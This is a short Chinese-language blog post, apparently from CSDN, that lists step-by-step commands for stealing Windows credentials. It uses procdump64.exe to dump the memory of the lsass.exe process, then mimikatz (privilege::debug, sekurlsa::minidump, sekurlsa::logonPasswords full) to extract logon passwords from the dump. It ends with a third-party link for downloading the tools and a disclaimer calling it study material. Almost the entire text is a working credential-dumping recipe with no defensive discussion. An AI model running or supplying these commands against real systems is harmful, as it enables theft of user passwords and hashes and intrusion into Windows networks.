1,管理员权限打开cmd,进入对应目录
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 导出为lsass.dump文件
2,管理员权限打开mimikatz.exe
执行privilege::debug;
3,管理员权限打开cmd,进入对应目录
把lsass.dmp放在mimikatz目录利用
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
工具下载路径:
https://download.csdn.net/download/onlyfunboy/19667731
免责声明:工具来源是开源软件和微软官方下载的,仅供个人学习和使用。如果有什么问题,请联系博主删除文章。